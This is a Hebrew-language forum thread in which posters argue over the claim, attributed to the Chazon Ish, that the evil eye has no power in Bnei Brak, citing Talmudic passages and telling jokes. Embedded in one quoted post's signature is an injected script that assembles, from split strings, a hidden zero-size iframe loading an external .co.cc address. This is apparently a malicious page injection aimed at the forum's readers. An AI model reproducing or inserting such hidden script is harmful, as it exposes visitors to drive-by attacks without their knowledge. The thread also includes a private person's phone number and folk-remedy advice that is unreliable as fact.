| נשלח ב-28/10/2012 20:01 |
 |
| |
גבולות עין רעה
לקראת יום הזכרון של החזו"א זצ"ל החל ביום רבעי טו' במרחשון ,הביא עיתון המודיע במוסף התורני לשבת במדור אימרות צדיקים את הסיפור הבא: יהודי חשוב תושב חו"ל בא להיפרד מרב' חיים קניבסקי ושאל על מה שמובא בסיפרו שמועות והנהגות בשם החזו"א
שאין עין הרע שולטת בבני ברק.
אם כך שאל האיש הרי כל היזקי הראיה שבב"ב אינם חלים בב"ב ,ענה רב' חיים שזה שני דברים שונים , הרב אליהו מן מהגבאים שם שהיה נוכח שאל א"כ אפשר להעלות לתורה אח אחר אח ובן אחר אב בב"ב שכל האיסור הוא מישום עין רעה , על כך ענה רב' חיים מה שאסור משו"ע אין לשנות.
ולכאורה צ"ע מה היא בני ברק לענין עין רעה האם גבולותיה כפי שקבעו במשרד הפנים וגם אלו שעתידים להיות גבולותיה אם יחפצו בכך פקידי משרד הפנים? כלומר פקידי משרד הפנים או ראש העיר יקבעו עד היכן אין שולטת עין רעה?
ועוד הרי שם בתלמוד בב"ב עושים מחיצה בשדה משום עין רעה בקמת חברו, מה יהיה הדין אם האחד בתחומה של בב"ב והשני לא?
בכונה אני מקצין משום תורה היא וצריכה לימוד.
ועד בתלמוד שם קמא שבת תחילה סימן יפה לבנים משום שלא תישלוט בהם עין הרע. ובכן היוצא מכאן שפיתגם זה אינו לב"ב.
וגם משו"ע מותר אח אחר אח ע"ש קמא אלא אסרו רק משום עין רעה טול עין רעה והרי זה מותר.
וגם מה שאנחנו אומרים היה"ר בשם ומלכות שתצילינו מעין רעה ואם בבני ברק ליתא איך מותר להיתפלל בשם ומלכות תפילה שאינה צריכה.
אשר על כן מצווה לישב ואולי אני טועה בהבנה לכן אנחנו כאן.
ויה"ר שזכותו של החזו"א תגן עלינו וממילא לא תהיה לא עין הרע ולא כל ענינים בלתי רצויים אחרים.
בשורות טובות.
 |
|
|
|
|
| נשלח ב-5/5/2013 10:58 |
|
| |
| מיימוני כתב: |  | הדסה
ברוכה הבאה לפורום!
אם את מצאת לנכון להמליץ על מי שמתמחה ב"הוצאת עין הרע", אזי אני מוצא לנכון להציג עמדה אחרת.
א. עין הרע זה ענין פסיכולוגי בלבד. והסיבה פשוטה: האם ה' יקשיב לקול קנאתו של פלוני נגד חברו? (לעיל הזכירו שהרב דסלר התקשה בדבר, והמציא תירוץ כדי להסביר איך זה יכול להיות).
ב. ממילא, לבעיה פסיכולוגית צריך תשובה פסיכולוגית. מי שלא ישתכנע מההסבר שעין הרע אינו כלום, אולי באמת צריך שמישהו יעשה לו הצגה. יתכן שהאיש שהמלצת עליו אכן מתאים לזה.
ג. אמנם יש לחשוש שכל הפונה לייעוץ מהסוג שהזכרת עובר על איסורי תורה שונים כמו מגיה (=כישוף), דרכי האמורי ועוד.
כמובן, צריך לבאר אותן גמרות שבהן מוזכר נזק של עין הרע. אולם סבורני שבכל אלו מדובר או על קנאה הפועלת בין אדם לחברו להזיק (כגון המוציא שם רע) או על חשש פסיכולוגי בלבד. _________________ שומר פיו ולשונו - שומר מצרות נפשו ******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
במחילה- אבל הדברים אינם עולים לפי מה שכתוב בתנ"ך בתלמוד וכו' לפי הכתוב והנאמר והמובן.
יש בעולם כוחות רע. -או שאלוקים נתן רשות עצמאית לפעול. או חלילה נבראו כרשות בפני עצמו. כמובן שאלוקים הוא שברא את הכוחות הללו. ברא, ושוב אינו מתערב בפעולתם, הנביא ישעיהו אומר- יוצר אור ובורא חושך עושה שלום ובורא רע.
יש הרבה דוגמאות לכוחות הרע העצמאיות, כי אם זה לא כך,אצל בלעם הסיפור היה יכול להיות שונה לגמרי.-
הגמרא בב"ב עוסקת כמעט פרק שלם בהזק ראיה. .
הגמרא בב"מ מספרת על רב שהיה בבית הקברות- וציין צט מהם מתו מעין הרע, ורק אחד כדרך העולם.
בחתימתך אתה מדגיש את מאמרם ברית כרותה לשפתים- לשפתיים כן לעיינים לא?
היום בעידן המודרני קוראים לכך קארמא שלילית.
יש תרופה מצוינת לעין הרע- לירוק שלש פעמים על הנפגע.- ברוק ממש -כמה שיותר גדול-כמו בחליצה.
|
|
|
|
| נשלח ב-3/5/2013 18:19 |
|
| |
הדסה
ברוכה הבאה לפורום!
אם את מצאת לנכון להמליץ על מי שמתמחה ב"הוצאת עין הרע", אזי אני מוצא לנכון להציג עמדה אחרת.
א. עין הרע זה ענין פסיכולוגי בלבד. והסיבה פשוטה: האם ה' יקשיב לקול קנאתו של פלוני נגד חברו? (לעיל הזכירו שהרב דסלר התקשה בדבר, והמציא תירוץ כדי להסביר איך זה יכול להיות).
ב. ממילא, לבעיה פסיכולוגית צריך תשובה פסיכולוגית. מי שלא ישתכנע מההסבר שעין הרע אינו כלום, אולי באמת צריך שמישהו יעשה לו הצגה. יתכן שהאיש שהמלצת עליו אכן מתאים לזה.
ג. אמנם יש לחשוש שכל הפונה לייעוץ מהסוג שהזכרת עובר על איסורי תורה שונים כמו מגיה (=כישוף), דרכי האמורי ועוד.
כמובן, צריך לבאר אותן גמרות שבהן מוזכר נזק של עין הרע. אולם סבורני שבכל אלו מדובר או על קנאה הפועלת בין אדם לחברו להזיק (כגון המוציא שם רע) או על חשש פסיכולוגי בלבד.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-3/5/2013 18:09 |
|
| |
זה לא נכון. היתה ההערה אליך מקודם (שלא הבנת, אגב, ולא התעקשתי על זה), שהיתה מתחום אחר לגמרי.
|
|
|
|
| נשלח ב-3/5/2013 17:54 |
|
| |
שיבוליה
אני מתחיל לחשוב שגם אתה חרדי- רק את זה יש לך בראש.
|
|
|
|
| נשלח ב-3/5/2013 16:31 |
|
| |
זה עד להרפיה מלאה?
|
|
|
|
| נשלח ב-3/5/2013 15:59 |
|
| |
ישנם לא מעט העוסקים בהסרת עין הרע.
ישנם גם כאלו מומחים אחד מהם שאני שמעתי עליו (הבנתי שהוא היה תלמיד של הרב כדורי) הוא עזרא פולק מהר נוף בירושלים 02-6523049.
|
|
|
|
| נשלח ב-31/10/2012 22:16 |
|
| |
שני בעלי עין הרע התווכחו למי יש עין הרע יותר טובה
אמר האחד: רואה שם במרחק את הרכבת? איזו רכבת יפה ומהירה... ותיכף התפוצצה הרכבת
אמר השני: רכבת זה שום דבר. אתה רואה שם את המטוס? איזה מטוס גדול ויפה... ותיכף התפוצץ המטוס
אמר הראשון: וואו.. איזו עין הרע טובה יש לך... ומיד התפוצצה לשני העין...
|
|
|
|
| נשלח ב-28/10/2012 21:45 |
|
| |
למה יש לי תחושה שהחזו"א בהנחה שאכן התבטא כך ,כונתו שהעיר בני ברק דלה וריקה בכדי שמאן דהו ישליט בו עין הרע ?
הסבר של הרב דסלר לעצם התופעה דהרי לכאורה יש דין ויש דיין ולמה יוזק אדם מעין הרע,
וכתב שיש כאן במידת מה תביעה על הניזוק שגרם לחבירו לקנאות בו ,
על פי דבריו לכאורה במי שילד בן במה חטא כשיפול עליו קנאה?
עצם הדין של אב ובן בזה אחר זה בעלייה לתורה גם כן מחודש בהלכה בניגוד להרבה גורמים שאמורים להכנס לקטגוריה זו לפניו,
לגבי היזק ראייה הרי יש שני טעמים בגמרא בריש השותפין,
עין הרע יכולה גם להתפרש כ ,, לא לגרום לחבירך לקנאות בך ולהוציא אתעיניו בלעז,,
|
|
|
|
| נשלח ב-28/10/2012 21:26 |
|
| |
הרבי מצאנז הקים את הקרייה שלו בנתניה- כשנשאל מדוע לא בבני ברק? השיב- בני ברק בגימטריא- השטן-
לעיין הרע קוראים היום גרמה שלילית- מחשבה עוברת בטלפתיה, יש לאנשים במחשבה כוחות קינטיים, בלי ידיעתם, בדרך כלל.
|
|
|
|
|
| נשלח ב-28/10/2012 21:22 |
|
| |
| חלמישצור כתב: | | ירוחם זה ברור שעין הרע באה מאדם רע , השאלה מדוע פגיעתה רעה במקום זה כן ובמקום אחר לא. ברור שאין כאן מצב פיזי אלא מצב רוחני , ובכן איך הרוחני משפיע בגבולות מוניציפליים? |
|
טעות קלסית,
לא חייב להיות פיזי ממש, מספיק עקימת עין\אף לשכן חדש בבנין והרגתה אותו ואת בני ביתו,
כך בכל עניין שהאדם תלוי בחברה,
בכל אופן לגבי יחידי בלילה ברור שמדובר על פגיעה פיזית ממש,
|
|
|
|
| נשלח ב-28/10/2012 21:19 |
|
| |
בתרבויות עתיקות ופרימיטיביות מקובל שעין הרע גורמת לאסונות ונזקים אצל קורבנותיה. מסתמא הסתכל החזו"א בבני ברק, וזיהה שסיימה שם עין הרע את תפקידה.
אגב, מקובל אצל רבותינו שמי שאינו חושש מעין הרע, אין זרעו של יוסף פוגעת בו - אפילו לא בקשת.
|
|
|
|
| נשלח ב-28/10/2012 21:17 |
|
| |
חלמיש
אני לא מקבל שיחת חולין של תלמידי חכמים- כתורה מסיני, גרתי זמן מה בבני ברק וסיפרו על הרבה מתושבי המקום שניזוקו מעיין הרע,
כל מקום שיש אדם יש עין הרע, בלי מגבלות מוניציפליות, המקומות היחידים שלא שולטת בהם עיין הרע, לפי הגמרא,
זה בים ובנהרות וביערות, -
לדעתי שאין דרכם של בני אדם להלך בם
|
|
|
|
| נשלח ב-28/10/2012 21:08 |
|
| |
ירוחם זה ברור שעין הרע באה מאדם רע , השאלה מדוע פגיעתה רעה במקום זה כן ובמקום אחר לא. ברור שאין כאן מצב פיזי אלא מצב רוחני , ובכן איך הרוחני משפיע בגבולות מוניציפליים?
|
|
|
|
| נשלח ב-28/10/2012 20:38 |
|
| |
מקס
עיין הרע- עיין של אדם רע.
כל זמן שיש אנשים רעים- ויש בלי עיין הרע הרבה מאד- יש עיין הרע.
|
|
|
|
| נשלח ב-28/10/2012 20:21 |
|
| |
קודם כל מהי עין רע ?
ואחרי שנבין מהי נבין מה כוונתו (יותר נכון תשוקתו) של החז"א,
עין רע כפשוטו היא שאדם לא מפרגן את זולתו הוא מזיק לו, אם זה ממש פיזית אם זה עם אף עקום ואם זה סתם לא מתייחס ולא עוזר לזולתו שצריך,
ההליכה בחושך ויחידי שאסור היא כי האדם שסובל מעין רע יכול ממש לפגוע פיזית בזולתו אם אף אחד לא בסביבה,
החז"א חשב לומר שאיפה שגרים בני תורה ומוסרניקים, אז לא יכול להיות שאנשים לא מפרגנים, במילא אין לחשוש מעין רע,
אבל הלהכה למעשה אנו יודעים שזה לא ממש המצב, במילא צודק ר' חיים שאין לשנות מההלכה לגבי עליה לתורה ושאר הדברים,
|
|
|
|
|
